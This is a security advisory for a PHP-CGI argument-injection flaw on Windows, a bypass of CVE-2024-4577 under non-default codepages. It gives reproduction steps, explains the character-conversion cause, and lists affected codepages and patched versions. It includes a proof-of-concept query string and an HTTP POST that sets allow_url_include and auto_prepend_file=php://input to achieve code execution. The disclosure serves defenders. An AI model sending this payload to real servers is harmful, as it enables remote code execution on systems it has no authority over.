GHSA-p99j-rfp4-xqvq / CVE-2024-8926: PHP CGI Parameter Injection Vulnerability (CVE-2024-4577 bypass)
- Published:
- Fetched:
- Updated:
- Affects:
- php php-src
- KEV due:
- 2024-07-03
https://github.com/php/php-src/security/advisories/GHSA-p99j-rfp4-xqvq ↗
PHP CGI Parameter Injection Vulnerability (CVE-2024-4577 bypass) # PHP CGI Parameter Injection Vulnerability This vulnerability is a bypass of CVE-2024-4577 when using a non-standard configuration of Windows codepages, only obtainable through the registry by pointing the ACP codepage to an OEM codepage. The required configuration is unlikely to occur in a real environment. ## Reproduction: The reproduction environment is similar to CVE-2024-4577. 1. Install xampp on Windows and uncomment the following content in httpd-xampp.conf: ``` # # PHP-CGI setup # SetHandler application/x-httpd-php-cgi Action application/x-httpd-php-cgi "/php-cgi/php-cgi.exe" ``` 2. Download the latest PHP installation package. https://windows.php.net/downloads/releases/php-8.3.8-nts-Win32-vs16-x64.zip After decompression, stop xampp first, and then copy all the decompressed files to C:\xampp\php . This is because xampp has not updated the latest version of PHP, so we need to update it manually. 3. Modify the ACP and OEMCP fields under the registry `\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Nls\CodePage` to 437 Restart the system 4. POC https://xxxxurlxxxx.com/?%a8-s%a8 or ``` POST /?%a8-d%a8+allow_url_include%3d1+%a8-d%a8+auto_prepend_file%3dphp://input HTTP/1.1 Host: {{host}} User-Agent: curl/8.3.0 Accept: */* Content-Length: 24 Content-Type: application/x-www-form-urlencoded Connection: keep-alive ``` ## Vulnerability principle: In many code pages, Windows converts some wide characters to ", such as 0xa8 in 437 code page. When querystring is %a8-s%a8, Windows will first convert %a8 to ", and then remove the quotation marks before and after the command line parameters, that is, remove the quotation marks before and after -s. Finally, php-cgi.exe extracts only -s from argv, successfully bypassing the patch for CVE-2024-4577. ## Affected scope: Latest version of PHP **Affected code page:** "37"="c_037.nls" ;IBM EBCDIC* U.S./Canada "1026"="c_1026.nls" ;IBM EBCDIC* Latin-5 Turkey C_1047.NLS C_1140.NLS C_1142.NLS C_1143.NLS C_1144.NLS C_1145.NLS C_1146.NLS C_1147.NLS C_1148.NLS C_1149.NLS "20273"="c_20273.nls" ;IBM EBCDIC Germany "20277"="c_20277.nls" ;IBM EBCDIC Denmark/Norway "20278"="c_20278.nls" ;IBM EBCDIC Finland/Sweden "20280"="c_20280.nls" ;IBM EBCDIC Italy "20284"="c_20284.nls" ;IBM EBCDIC Latin America/Spain "20285"="c_20285.nls" ;IBM EBCDIC United Kingdom "20290"="c_20290.nls" ;IBM EBCDIC Japanese Katakana Extended "20297"="c_20297.nls" ;IBM EBCDIC France "20420"="c_20420.nls" ;IBM EBCDIC Arabic "20423"="c_20423.nls" ;IBM EBCDIC Greek C_20424.NLS "20833"="c_20833.nls" ;IBM EBCDIC Korean Extended "20838"="c_20838.nls" ;IBM EBCDIC Thai "20871"="c_20871.nls" ;IBM EBCDIC Icelandic "20880"="c_20880.nls" ;IBM EBCDIC Cyrillic "20905"="c_20905.nls" ;IBM EBCDIC Patched: 8.1.30, 8.2.24, 8.3.12